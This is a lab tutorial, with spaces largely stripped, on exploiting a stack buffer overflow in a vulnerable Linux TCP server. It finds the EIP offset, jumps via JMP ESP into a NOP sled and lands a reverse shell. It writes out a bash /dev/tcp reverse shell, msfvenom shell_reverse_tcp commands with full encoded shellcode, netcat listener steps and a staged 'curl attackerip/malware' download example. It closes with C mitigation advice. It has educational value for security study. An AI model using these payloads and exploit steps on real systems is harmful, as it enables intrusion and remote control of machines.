WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

